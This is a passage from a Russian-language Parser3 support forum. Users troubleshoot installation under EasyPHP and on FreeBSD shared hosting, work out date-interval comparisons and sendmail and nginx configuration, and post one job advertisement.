The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script.\
\
Error[/code]"
"79117","разобрались с положением конфигурационного auto.p -- уже хорошо (хотя на странице \"скачать\" написано, куда его надо класть).\
\
и что по поводу моих остальных рекомендаций?\
заработал англоязычный _test.html?\
\
чтобы не лазить постоянно в лог и видеть ошибку подправьте @unhandled_exception[] в конфигурационном auto.p, чтобы вызывался @unhandled_exception_debug[], а не @unhandled_exception_release[]."
"79118","Попробовал сейчас, как вы советовали, убрать из D:\\parser\\ все, кроме _test.html. Теперь вот что выдает сервер:\
[code]d:/parser/charsets/koi8-r.cfg\
\
read failed: No such file or directory (2), actual filename 'd:/parser/charsets/koi8-r.cfg'[/code]\
Под этой ошибкой список файлов папки D:\\parser\\\
Ниже ошибка написана еще раз.\
\
И ведь _test.html и так англоязычный. Разве нет? На английской версии сайта я нашел только те же самые файлы, что и на русском сайте.\
\
[quote]чтобы не лазить постоянно в лог и видеть ошибку подправьте @unhandled_exception[] в конфигурационном auto.p, чтобы вызывался @unhandled_exception_debug[], а не @unhandled_exception_release[].[/quote]\
Вот тут я не понял. Что именно надо подправить в @unhandled_exception[]? В лог, кстати, совсем не влом лазить, без проблем вообще :-)"
"79119","В принципе, то же самое, что выдает сервер:\
[code][Wed Nov 06 20:04:00 2013] [9440] /parser/: 'd:/parser/charsets/koi8-r.cfg' read failed: No such file or directory (2), actual filename 'd:/parser/charsets/koi8-r.cfg' [file.missing] [uri=/parser/, method=GET, cl=0]\
[Wed Nov 06 20:04:00 2013] [6128] /parser/: 'd:/parser/charsets/koi8-r.cfg' read failed: No such file or directory (2), actual filename 'd:/parser/charsets/koi8-r.cfg' [file.missing] [uri=/parser/, method=GET, cl=0]\
[Wed Nov 06 20:04:01 2013] [9568] /parser/: 'd:/parser/charsets/koi8-r.cfg' read failed: No such file or directory (2), actual filename 'd:/parser/charsets/koi8-r.cfg' [file.missing] [uri=/parser/, method=GET, cl=0]\
[Wed Nov 06 20:04:01 2013] [4416] /parser/: 'd:/parser/charsets/koi8-r.cfg' read failed: No such file or directory (2), actual filename 'd:/parser/charsets/koi8-r.cfg' [file.missing] [uri=/parser/, method=GET, cl=0][/code]"
"79120","[quote]Если выводить не пользоваться format, и выводить число просто так...[/quote]\
\
Опечатка здесь: http://www.parser.ru/docs/lang/intdoubleformat.htm"
"79121","Так, а файлик koi8-r.cfg в d:/parser/charsets/ у вас лежит?\
\
Павел, пожалуйста, начинайте работать своей головой! У вас в логе пишется что не так, а вы нам \"тоже самое\"."
"79122","[quote]Так, а файлик koi8-r.cfg в d:/parser/charsets/ у вас лежит?[/quote]\
Мне предлагали убрать все из папки и оставить только файл _test.html. Сейчас я положил папку с кодировками в D:\\parser\\. Теперь EasyPHP выдает сначала список файлов и если через него открыть _test.html, то он уже, наконец, открывается и показывает все, что надо.\
Выдал две ошибки. Одну я исправил, ибо все понятно было. Во второй не могу понять в чем дело.\
[quote]DOCUMENT_ROOT: [color=\"#ff0000\"]«кривой» или скрипт находится не в корне веб пространства[/color] (D:/Program Files/EasyPHP/www)[/quote]\
Закинул по указываемому пути parser3.exe. Ничего не изменилось. Попробовал еще подкинуть auto.p. Тоже никакого эффекта.\
\
[quote]Павел, пожалуйста, начинайте работать своей головой! У вас в логе пишется что не так, а вы нам \"тоже самое\".[/quote]\
Извините. Просто я далек от понимания этих ошибок. Мне они показались почти одинаковыми."
"79123","[quote]read failed: No such file or directory (2), actual filename 'd:/parser/charsets/koi8-r.cfg'[/quote]\
\
вы увидели сообщение об ошибке. теперь поймите его и предпримите необходимые шаги, чтобы ошибку исправить.\
\
[quote]И ведь _test.html и так англоязычный. Разве нет? [/quote]\
[quote]DOCUMENT_ROOT: «кривой» или скрипт находится не в корне веб пространства (D:/Program Files/EasyPHP/www)[/quote]\
\
а сами то как думаете, он англоязычный или нет?\
\
\
[quote]Вот тут я не понял. Что именно надо подправить в @unhandled_exception[]? В лог, кстати, совсем не влом лазить, без проблем вообще :-)[/quote]\
\
попробуйте сами разобраться.\
для начала надо открыть этот auto.p и почитать что там написано.\
\
\
[quote]DOCUMENT_ROOT: «кривой» или скрипт находится не в корне веб пространства (D:/Program Files/EasyPHP/www)\
Закинул по указываемому пути parser3.exe. Ничего не изменилось. Попробовал еще подкинуть auto.p. Тоже никакого эффекта.[/quote]\
\
не надо закидывать в document root parser3.exe и конфигурационный auto.p.\
в одном из предыдущих сообщений я вам написал, что такое document root.\
он у вас, с точки зрения парсера, неправильный.\
вам надо [url=http://www.parser.ru/docs/lang/requestdocroot.htm]сообщить парсеру[/url], где у вас правильный document root."
"79125","Павел, вы рановато взялись за самостоятельную установку. EasyPHP и ему подобные, в данный момент, явно не для вас. Начните с более простых решений, установите например [url=\"http://www.denwer.ru/\"]Денвер[/url]. У него есть расширение с Парсером, инсталятор его сам корректно установит со всеми либами. Так вам будет проще. Большое кол-во разработчиков имели с ним дело, а в этом форуме кол-во информации про Денвер намного больше, чем про EasyPHP.\
Минуя вопросы установки вы максимально быстро начнете разбираться с языком. \
Прийдет время и с установкой разберетесь самостоятельно.\
\
P.S. Настоятельно рекомендую вчитываться в каждое слово документации."
"79126","задача в общем такая:\
из формы приходит значение в минутах: 15, 45, 240 и т.д.\
есть две даты промежутка, и нужно определить является ли длительность этого промежутка больше или равной значению в минутах.\
\
Если идти прямым путем, переводим минуты во время и создаем объект класса дата, потому как по-другому мы минуты не сравним.\
[code]\
$total[^date::create[1970-01-01 00:15:00]]\
$start[^date:create[2013-11-07 13:00:00]]\
$stop[^date:create[2013-11-07 13:15:00]]\
$period[^date::create($stop-$start)]\
^if($period >= $total){...}\
[/code]\
Если мы идем этим путем, то 1-е, $total вернет ошибку, как в моем случае выше и значение разности будет не 15 минут, а 5:15.\
\
Или может есть способ проще?"
"79127","[code]\
$total(15)\
$start[^date::create[2013-11-07 13:00:00]]\
$stop[^date::create[2013-11-07 13:15:00]]\
^if(^eval($stop - $start)[%.4f] >= ^eval($total/(24*60))[%.4f]){...}\
[/code]"
"79129","[code]^eval($stop - $start) - ^eval($total/(24*60))\
0.010416666666060 - 0.010416666666667[/code]"
"79130","[quote]попробуйте сами разобраться.\
для начала надо открыть этот auto.p и почитать что там написано.[/quote]\
Я открывал, смотрел. Там есть:\
— @unhandled_exception[exception;stack]\
— @unhandled_exception_debug[exception;stack]\
— @unhandled_exception_release[exception;stack]\
И что я должен поменять в @unhandled_exception[]?\
\
[quote]не надо закидывать в document root parser3.exe и конфигурационный auto.p.\
в одном из предыдущих сообщений я вам написал, что такое document root.\
он у вас, с точки зрения парсера, неправильный.\
вам надо сообщить парсеру, где у вас правильный document root.[/quote]\
Насколько я понял, document root у меня — это d:/parser/, т. к. в EasyPHP я забивал альяс на эту папку. Когда в EasyPHP я открываю http://127.0.0.1:8080/parser/ у меня появляется список файлов этой папки. Там я уже и открываю _test.html.\
\
Прописал сейчас в auto.p строку $request:document-root[d:/parser/] и ничего не изменилось. Я не могу понять, почему _test.html в ошибке указывает на D:/Program Files/EasyPHP/www. Каким боком сюда попала эта папка?"
"79131","Хм, вроде давно уже с EasyPHP работаю (кое-как настроил его для нормальной работы на своем ноуте). Вообще, я хотел установить на него parser только потому что все остальные WAMP не хотят у меня работать. Денвер не хотел работать, XAMPP не хотел. EasyPHP тоже сначала не хотел, но кое-как удалось исправить ситуацию. Что-то с ноутом/виндой, но не знаю что.\
\
Спасибо, попытаюсь все таки найти причину неработоспособности у меня денвера, исправить ее и установить на него parser."
"79133","только я всё равно приводил бы не к суткам, а, например, к секундам (или к минутам). соотв. форматные строки не использовал бы, а использовал бы round у разности и работал с целыми числами:\
[code]\
^if(^math:round(($stop - $start) * 24 * 60 * 60) >= $total * 60){ ... }\
[/code]\
\
но это мелочи, суть не меняется."
"79134","я изначально пробовал без округления, у меня выходило что 15 != 15\
\
спасибо за помощь!"
"79135","[quote]И что я должен поменять в @unhandled_exception[]?[/quote]\
а вы внимательно посмотрите на содержимое @unhandled_exception[exception;stack] (там всего одна строка) и подумайте.\
\
[quote]document root у меня — это d:/parser/, т. к. в EasyPHP я забивал альяс на эту папку. Когда в EasyPHP я открываю http://127.0.0.1:8080/parser/ у меня появляется список файлов этой папки. Там я уже и открываю _test.html.\
[/quote]\
\
именно. только зачем тогда вы exe клали в document root?\
\
[quote]Прописал сейчас в auto.p строку $request:document-root[d:/parser/] и ничего не изменилось.\
[/quote]\
\
куда конкретно прописали? (auto.p состоит не из одного метода).\
как именно пытались понять, изменилось ли что или нет? _test.html что после этого сообщил?\
\
[quote]Я не могу понять, почему _test.html в ошибке указывает на D:/Program Files/EasyPHP/www.[/quote]\
\
ваш веб-сервер такое сообщает парсеру.\
почему? я не знаю. вы или можете разобраться сами и исправить, чтобы сервер сообщал правильный путь или самостоятельно указать парсеру правильный путь к document root."
"79136","[quote]а вы внимательно посмотрите на содержимое @unhandled_exception[exception;stack] (там всего одна строка) и подумайте.[/quote]\
[code]@unhandled_exception_developer[exception;stack][/code]\
Правильно сделал? А то по комментарию «developer? use debug version to see problem details» не понятно, что нужно изменить.\
\
[quote]именно. только зачем тогда вы exe клали в document root?[/quote]\
Я изначально архив с parser3 распаковал в эту папку и не знал, что в ней не должен быть exe.\
\
[quote]куда конкретно прописали? (auto.p состоит не из одного метода).[/quote]\
Прописал под кодировками, т. к. не знаю, куда конкретно надо прописывать.\
[code]$request:charset[UTF-8]\
$response:charset[UTF-8]\
$request:document-root[d:/parser/][/code]\
\
[quote]как именно пытались понять, изменилось ли что или нет? _test.html что после этого сообщил?[/quote]\
На странице _test.html ничего не изменилось. Отсюда и выводы.\
\
\
Ivan Sergeev предложил мне юзать денвер. Только что я смог исправить проблему его неработоспособности и теперь он работает. Попробую работать под ним. Может и с EasyPHP когда-нибудь разберусь. Спасибо."
"79137","Вы изначально всё сделали неправильно и делаете все как слепой котенок\
\
Вы поставили parser  в папку D:/parser/. Окей, хорошо, но зачем нужно было из этой папки делать сайт? Легче всего относится к этой папке как к донору, из которого потом в нужные места копировать парсер с настройками по умолчанию и либами туда куда будет нужно. \
\
Если уж вы очень хотели чтобы парсер обрабатывал ваши скрипты именно оттуда - то ваш будущий сервер надо было настроить так чтобы он считал эту папку аналогом cgi-bin, т.е. вам нужно было в настройках apache написать что то такое\
\
[code]\
  <Directory \"D:/parser/\">\
    AllowOverride None\
    Options +ExecCGI -Includes\
  </Directory>\
[/code]\
Но все же лично мне такой вариант совершенно не нравится.\
\
Вы же положили туда и парсера и _test.html и allowowerride (разрешение на .htaccess) прописали и даже FileInfo, т.е. вы из этой папки попытались сделать и папку со скриптами и документ-рут виртуального хоста.\
\
Когда вы поставили EasyPHP он вам судя по всему сделал виртуальный хост по умолчанию с двумя путями\
D:\\program files\\EasyPHP\\apache\\cgi-bin\\ - папка для скриптов\
D:\\program files\\EasyPHP\\apache\\www\\ - document-root\
\
В первую вам нужно было скопировать полностью содержимое папки D:/parser/ (вместе с charsets, либами и \"конфигурационным\" auto.p, только учитывая кашу которую вы в ней заварили, лучше удалить ее и переустановаить в нее парсера еще раз)\
во второй положить _test.html и .htaccess в котором прописан обработчкиком парсер из первой папки\
\
затем обратиться к http://127.0.0.1/_test.html\
\
вот собственно и всё\
\
P.S.\
В @unhandled_exception[] конфигурационного auto.p два метода, один закомментирован, другой нет. раскомментировав один и закрыв # другой вы можете управлять выводом ошибок парсера - debug выводит подробно."
"79138","Спасибо, Maxx. Понял. Вечером попробую все по новой."
"79140","файл документации parser3_4_3.ru.chm не полный по сравнению с вариантом онлайн документации.\
например в оф-лайн отсутствует раздел http://www.parser.ru/docs/lang/mailreceived.htm"
"79141","попробуйте http://open-server.ru/\
\
из минусов (для меня) - полное отсутствие Perl из коробки.\
\
должно быть все просто - устанавливаете, в настройках добавляете домен, создаете папку cgi-bin в папке с доменом и кидаете туда parser3.exe и все что относится к нему.\
далее - все как делали."
"79142","С опциями --disable-safe-mode, --with-mailreceive и --strip."
"79143","вообще говоря, если задача поставить апач с парсером - никакой wamp не нужен, все ставится элементарно и без сборок. Ставится апач, ставится парсер, делается директория для сайта с двумя папками cgi-bin и www, в конфиге апача прописывается VirtualHost с минимумом настроек на эти две папки, в cgi-bin копируется парсер, в www .htaccess из доки и собственно всё. Еще mylsq можно поставить если нужен - он вообще сам по себе и тоже в три клика. Из всех сборок самый интересный Денвер, потому что он еще и hosts правит на основе найденных виртуальных хостов, но это тоже можно руками прописать."
"79144","Не забудьте, что у нас сейчас век виртуализации поставить юникс-систему в какой-нибудь VirtualBox дело получаса."
"79145","для непосвященного человека - ставить все компоненты отдельно далеко не самый лучший вариант. гораздо быстрее поставить сборку с GUI и потратить 10 минут на изучение и понимание.\
\
P.S. Денвер уже давно морально устарел :)"
"79148","http://www.parser.ru/f/1/download/parser343/parser3_4_3_freebsd83Rx64_grpunlim_cgi_xml_mail.tar.gz"
"79149","Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it"
"79151","Я, для начала, попытался в конфигурационном методе задать свою программу отправки писем. Не получилось. Ни sendmail поменять, ни внешний smtp задать. А на приём почты пока и не проверял даже.\
\
А вот тут http://www.parser.ru/docs/lang/?parserconfmethod.htm пишется, что:\
\
[quot]\
Только в unsafe-mode версиях можно задать программу отправки почты самому: \
[code]$MAIL[ \
   $.sendmail[/custom/mail/sending/program params] \
] [/code]\
[/quot]"
"79152","[quote]А какая разница-то?[/quote]\
\
Между отправкой и получением? Гм.\
\
[quote]Я, для начала, попытался в конфигурационном методе задать свою программу отправки писем. Не получилось.[/quote]\
\
Зачем? Это стандартная символическая ссылка, будет у вас Postfix или Exim - она все равно будет и отправка почты будет работать.\
\
[quote]ни внешний smtp задать.[/quote]\
\
SMTP - это только для Windows.\
\
[quote]Только в unsafe-mode версиях можно задать программу отправки почты самому: [/quote]\
\
Из этого следует, что в safe версиях программу задать нельзя. Чтобы можно было задать путь к почтовой программе самому, надо собирать и unsafe, и без этой опции:\
\
You can disable user-configured sendmail commands by forcing it, setting\
\"--with=sendmail=COMMAND\" option.\
\
Мы собираем с ней, и не разу не было другой необходимости. Кому не нравится - может собрать самостоятельно. :)"
"79153","[quot]Между отправкой и получением? Гм.[/quot]\
Это шутка была.\
\
[quot]SMTP - это только для Windows.[/quot]\
Ах вот оно что. Значит я не правильно понял то, что в документации написано. Думал, что smtp может быть внешним, на другом домене."
"79154","Здравствуйте!\
\
Требуется программист, отлично владеющий парсером и javascript, на постоянную работу в молодой стартап.\
Работа будет интересная, и разработкой только одного проекта и его поддержкой ограничиваться не будет.\
\
Требования:\
 - Алгоритмизация должна быть в \"крови\"\
 - Базовые знания HTML + CSS\
 - Уверенное владение СУБД MySQL\
 - Доведение начатого до конца\
 - Написание чистого и понятного кода с первого раза\
 - Желание разбираться в чужом коде\
 - Принятие чужих стандартов в программировании\
 - Опыт работы в Linux (пусть и небольшой)\
\
Условия работы:\
 - Гибкий график, можно сочетать с учебой\
 - З/П: от 50 000 руб.\
 - 5 мин от метро (ст.м. Добрынинская, на Садовом кольце)\
\
Почта: [code]$email[^string:base64[S2lyaWxsIFNlbWluIDxraXJpbGxAc3Ryb3lkYi5jb20+]][/code] или kirill # stroydb.ru"
"79156","Добрый день и прошу сразу не ругаться :)\
Конечно я прочел про такую ошибку в FAQ и конечно попробовал чего в нем написано, но \"не выходит каменный цветок\".\
\
Подробнее.\
\
Есть хостер http://hosting.tomsknet.ru/virtual, есть у него \"Операционная система FreeBSD 7 (UNIX)\"\
\
Скачал парсер из \
http://www.parser.ru/download/freebsd7/\
пробовал и parser3_4_3_freebsd74R.tar.gz и parser3_4_3_freebsd72Rx64.tar.gz\
\
Выложил parser3.cgi в папку cgi-bin в домашнем каталоге, назначил права\
  R  W  X   R  W  X   R  W  X  \
 [x][x][x] [x][ ][x] [x][ ][x] \
(755, если я правильно понимаю)\
\
прописал в .htaccess:\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
выложил тестовый _test.html и сделал пустой index.html, для проверки\
\
при попытке открыть оба эти файла, получаю в error.log\
[Mon Nov 11 10:15:50 2013] [error] [client *.*.*.*] /libexec/ld-elf.so.1: Shared object \"libcrypt.so.4\" not found, required by \"parser3.cgi\"\
[Mon Nov 11 10:15:50 2013] [error] [client *.*.*.*] Premature end of script headers: parser3.cgi\
\
и в access.log\
[11/Nov/2013:10:57:06 +0700] \"GET /pas/_test.html HTTP/1.0\" 500 541 \"-\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\" \"*.*.ru\" *.*.tomsknet.ru\
\
как проверял бинарно ли залил:\
залил с галкой \"текстовый режим\", увидел, что файлы разного размера, и ошибка стала другой\
[Mon Nov 11 10:07:54 2013] [error] [client *.*.*.*] /libexec/ld-elf.so.1: /usr/home/hosting/***/cgi-bin/parser3.cgi: Shared object has no run-time symbol table\
[Mon Nov 11 10:07:54 2013] [error] [client *.*.*.*] Premature end of script headers: parser3.cgi\
\
как проверял права:\
выставил для parser3.cgi\
 Атрибуты файла \
 R  W  X   R  W  X   R  W  X  \
[x][x][ ] [x][ ][ ] [ ][ ][ ] \
получил\
[Mon Nov 11 10:57:06 2013] [error] [client *.*.*.*] suexec policy violation: see suexec log for more details\
[Mon Nov 11 10:57:06 2013] [error] [client *.*.*.*] Premature end of script headers: parser3.cgi\
и в access.log тот же\
[11/Nov/2013:10:57:06 +0700] \"GET /pas/_test.html HTTP/1.0\" 500 541 \"-\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\" \"*.*.ru\" *.*.tomsknet.ru\
\
SSH-доступа нет\
\
У меня три предположения:\
- я криво поставил парсер;\
- я взял не тот парсер;\
- у хостера нет там библиотек.\
\
Научите меня жизни, плс :)"
"79157","круто. всё бы писали так подробно, что именно они делали.\
\
> - я криво поставил парсер;\
\
нет. взяли файл, залили в binary, поставили исполняемые битики.\
хотя странно, что и 32-битный и 64-битый выдали совершенно одинаковое сообщение об ошибке.\
перепроверите?\
\
кстати для проверки можете не лазить в log, а закачивать cgi в ваш cgi-bin, переименовывая соответственно и выставляя executable, и потом обращаться к нему в нему прямо из браузера http://сервер/cgi-bin/parser3.72Rx64.cgi\
\
> - я взял не тот парсер;\
\
взяли то, что надо.\
хотя можете попробовать ещё взять собранное для FreeBSD 6.\
\
> - у хостера нет там библиотек.\
\
скорее всего.\
попробуйте им написать и спросить?"
"79158","Залил четыре CGI, попробовал вызывать в формате http://сервер/cgi-bin/parser3.cgi\
установил права\
  R  W  X   R  W  X   R  W  X\
 [x][x][x] [x][ ][x] [x][ ][x]\
\
В хроме получил\
\"Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, webmaster@tomsknet.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the server error log.\"\
\
в error.log:\
[Mon Nov 11 12:02:27 2013] [error] [client *.*.*.*] /libexec/ld-elf.so.1: Shared object \"libcrypt.so.4\" not found, required by \"parser3.72Rx64.cgi\"\
[Mon Nov 11 12:02:27 2013] [error] [client *.*.*.*] Premature end of script headers: parser3.72Rx64.cgi\
[Mon Nov 11 12:02:37 2013] [error] [client *.*.*.*] /libexec/ld-elf.so.1: Shared object \"libcrypt.so.4\" not found, required by \"parser3.74R.cgi\"\
[Mon Nov 11 12:02:37 2013] [error] [client *.*.*.*] Premature end of script headers: parser3.74R.cgi\
[Mon Nov 11 12:02:44 2013] [error] [client *.*.*.*] /libexec/ld-elf.so.1: Shared object \"libcrypt.so.3\" not found, required by \"parser3.64Rx64.cgi\"\
[Mon Nov 11 12:02:44 2013] [error] [client *.*.*.*] Premature end of script headers: parser3.64Rx64.cgi\
[Mon Nov 11 12:02:50 2013] [error] [client *.*.*.*] /libexec/ld-elf.so.1: Shared object \"libcrypt.so.3\" not found, required by \"parser3.64R.cgi\"\
[Mon Nov 11 12:02:50 2013] [error] [client *.*.*.*] Premature end of script headers: parser3.64R.cgi\
\
в access.log\
[11/Nov/2013:12:02:27 +0700] \"GET /cgi-bin/parser3.72Rx64.cgi HTTP/1.0\" 500 541 \"-\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\" \"*.*.ru\" *.*.tomsknet.ru\
[11/Nov/2013:12:02:37 +0700] \"GET /cgi-bin/parser3.74R.cgi HTTP/1.0\" 500 541 \"-\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\" \"*.*.ru\" *.*.tomsknet.ru\
[11/Nov/2013:12:02:44 +0700] \"GET /cgi-bin/parser3.64Rx64.cgi HTTP/1.0\" 500 541 \"-\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\" \"*.*.ru\" *.*.tomsknet.ru\
[11/Nov/2013:12:02:50 +0700] \"GET /cgi-bin/parser3.64R.cgi HTTP/1.0\" 500 541 \"-\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\" \"*.*.ru\" *.*.tomsknet.ru"
"79159","Боюсь у хостера используется что-нибудь вроде chroot, в котором очень сильно обрезаны доступные библиотеки.\
Я бы сделал тестовый sh скрипт. Как описано здесь:\
\
http://www.parser.ru/forum/?id=78554\
\
+ добавил бы в скрипт uname -a, чтобы не гадать о типе и битности OS.\
\
И посмотрел бы на результат. Не исключено, что там никаких системных библиотек нет, а libcrypt просто первая в списке зависимостей парсера.\
\
Далее будет два варианта - либо хостер устранит проблему, после того, как вы ему покажете вывод ldd, либо у него нет поддержки бинарных CGI скриптов и проще поменять хостера (хотя теоретически можно побороться, списав нужные библиотеки с другого сервера и используя LD_LIBRARY_PATH)."
"79160","Сделал скрипт test.sh:\
********************************\
#!/bin/sh\
\
echo \"Content-type: text/plain\"\
echo\
uname -a\
echo\
ldd parser3.74R.cgi\
echo\
./parser3.74R.cgi 2>&1\
********************************\
\
Положил его в cgi-bin, дал права \
  R  W  X   R  W  X   R  W  X\
 [x][x][x] [x][ ][x] [x][ ][x]\
\
запустил, получил вот такой ответ:\
\
FreeBSD *.tomsknet.ru 8.4-RELEASE-p3 FreeBSD 8.4-RELEASE-p3 #0: Mon Sep  2 12:32:05 NOVT 2013     root@casper.tomsknet.ru:/usr/obj/usr/src/sys/CASPER  amd64\
\
parser3.74R.cgi:\
	libcrypt.so.4 => not found (0x0)\
	libstdc++.so.6 => /usr/lib32/libstdc++.so.6 (0x28279000)\
	libm.so.5 => /usr/lib32/libm.so.5 (0x2836c000)\
	libgcc_s.so.1 => /usr/lib32/libgcc_s.so.1 (0x28385000)\
	libc.so.7 => /usr/lib32/libc.so.7 (0x28390000)\
\
/libexec/ld-elf.so.1: Shared object \"libcrypt.so.4\" not found, required by \"parser3.74R.cgi\"\
\
\
\"+ добавил бы в скрипт uname -a, чтобы не гадать о типе и битности OS\"\
Видимо FreeBSD и вовсе 8, а битность?"
"79161","FreeBSD *.tomsknet.ru 8.4-RELEASE-p3 FreeBSD 8.4-RELEASE-p3 #0: Mon Sep  2 12:32:05 NOVT 2013     root@casper.tomsknet.ru:/usr/obj/usr/src/sys/CASPER  amd64\
\
parser3.81R.cgi:\
	libcrypt.so.5 => /usr/lib32/libcrypt.so.5 (0x28279000)\
	libstdc++.so.6 => /usr/lib32/libstdc++.so.6 (0x2829f000)\
	libm.so.5 => /usr/lib32/libm.so.5 (0x28392000)\
	libgcc_s.so.1 => /usr/lib32/libgcc_s.so.1 (0x283ab000)\
	libc.so.7 => /usr/lib32/libc.so.7 (0x283b6000)\
\
[Mon Nov 11 19:10:22 2013] [45322] Parser/3.4.3 (compiled on i386-unknown-freebsd8.1) [no request info]\
Status: 500\
Content-Type: text/plain\
Content-Length: 50\
\
Parser/3.4.3 (compiled on i386-unknown-freebsd8.1)"
"79162","Да, похоже все библиотеки на месте. amd64 - это 64-х битная версия FreeBSD. На chroot не похоже. Судя по всему, там стоят библиотеки совместимости с более ранними версиями FreeBSD, но не полностью. Чтобы не было проблем с подключением к mysql, лучше поставить парсер правильной битности, иначе надо брать 32-х битную клиентскую библиотеку mysql (есть в наших архивах)."
"79163","Решил поставить себе Nginx для ускорения, таки помогло, но встретился с новой проблемой: при запросе curl 504 Gateway Time-out\
\
Уже все перерыл, не могу найти проблему. Когда через ПХП курл шлю - все ок, парсер не хочет. \
\
Пример запроса:\
\
[code]		$file[^curl:load[ \
		   $.url[https://graph.facebook.com/http://www.balashov.com.ua/blogs/$findBlogs.alt_name/] \
		   $.useragent[Parser3] \
		   $.timeout(10) \
		   $.ssl_verifypeer(0) \
		]] [/code]"
"79164","Редактируем /etc/init.d/fcgiwrap\
[code]sudo nano /etc/init.d/fcgiwrap[/code]\
Меняем FCGI_CHILDREN=\"1\" на FCGI_CHILDREN=\"2\"\
\
Перезапускаем fcgiwrap\
[code]sudo /etc/init.d/fcgiwrap restart[/code]"
"79165","Установил версию для 64-битной Free BSD 8.\
\
Теперь скрипт test.sh говорит\
*****************************\
FreeBSD hosting7.tomsknet.ru 8.4-RELEASE-p3 FreeBSD 8.4-RELEASE-p3 #0: Mon Sep  2 12:32:05 NOVT 2013     root@casper.tomsknet.ru:/usr/obj/usr/src/sys/CASPER  amd64\
\
parser3.cgi:\
	libcrypt.so.5 => /lib/libcrypt.so.5 (0x800846000)\
	libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x800966000)\
	libm.so.5 => /lib/libm.so.5 (0x800b76000)\
	libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x800c96000)\
	libc.so.7 => /lib/libc.so.7 (0x800da4000)\
\
[Mon Nov 11 20:18:57 2013] [48013] Parser/3.4.3 (compiled on x86_64-unknown-freebsd8.0) [no request info]\
Status: 500\
Content-Type: text/plain\
Content-Length: 52\
\
Parser/3.4.3 (compiled on x86_64-unknown-freebsd8.0)\
*****************************\
\
\
В cgi-bin:\
\
\\charsets\
\\lib\
auto.p\
parser3.cgi\
parser3.log\
README\
test.sh\
\
На _test.html, взятый в http://www.parser.ru/f/1/download/utils/parser3test_russian.zip\
\
Парсер вот что говорит:\
*****************************\
Unhandled Exception\
\
change_case_UTF8 error: end pointers do not match\
upper\
/usr/home/hosting/wt1001551/htdocs/pas/_test.html(187)\
*****************************\
\
в parser.log\
*****************************\
[Mon Nov 11 20:21:38 2013] [48056] /pas/_test.html: /usr/home/hosting/***/htdocs/pas/_test.html(187:47): 'upper' change_case_UTF8 error: end pointers do not match [<no type>] [uri=/pas/_test.html, method=GET, cl=0]\
*****************************\
\
Поискал по форуму, вижу, что подобная проблема встречалась, но как решить --- не понял.\
\
auto.p --- лежит рядом с парсером,\
_test.html --- взят с оригинального сайта, в нем кодировка win-1251, если правильно смотрю в фаре."
"79166","Или поменять в main: \
\
@main[]\
#$sRequestCharset[$request:charset]\
#$sResponseCharset[$response:charset]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
+ в cgi-bin/auto.p раскомментировать декларирование windows-1251\
\
2misha: может пора сконвертировать тест в utf-8? :) А то у нас уже две\
версии, как по умолчанию идет кодировка utf-8, а тест до сих пор в Windows-1251?"
"79167","Судя по всему, не используется. И у меня FreeBSD.\
\
Вот настройки из nginx.conf:\
\
[code]	server {\
		server_name balashov.com.ua www.balashov.com.ua;\
		listen 178.20.155.230;\
		charset utf-8;\
		disable_symlinks if_not_owner from=$root_path;\
		set $root_path /home/balashovcomua/data/www/balashov.com.ua;\
\
\
\
   #!Статический контент!\
   location ~* \\.(jpg|jpeg|gif|png|swf|tiff|swf|flv)$ {\
      root   $root_path;\
      #Кеширум картинки месяца на 4\
      gzip_static on;\
      expires 1M;\
      #Кешируем везде (и на прокси и на клиентах)\
      add_header Cache-Control public;\
   } \
\
\
   location ~* \\.(css|js|ico) {\
   root   $root_path;\
    # разрешаем отдавать вместо несжатого файла предварительно\
    # сжатый с постфиксом \".gz\", если такой есть\
    gzip_static on;\
    #запрещаем сжатие файлов CSS и JS для проблемных браузеров\
    \
    #Кешируем месяца на 2\
    expires 2M;\
    #Кешируем только на клиентах (ибо сжатое)\
    add_header Cache-Control private;\
   }\
\
\
\
		location / {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {\
			proxy_pass http://178.20.155.230:81;\
			proxy_redirect http://178.20.155.230:81/ /;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
		location @fallback {\
			proxy_pass http://178.20.155.230:81;\
			proxy_set_header Host $host;\
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\
			proxy_set_header X-Forwarded-Proto $scheme;\
			proxy_set_header X-Real-IP $remote_addr;\
		}\
\
\
\
		include /usr/local/ispmgr/etc/nginx.inc;\
	}[/code]"
"79168","всем преогромное спасибо!!!"
"79169","Не очень понимаю, при чем тут nginx, но если у вас парсер 3.4.2, вы вполне могли столкнуться с проблемой, описанной первой в новостях версии 3.4.3:\
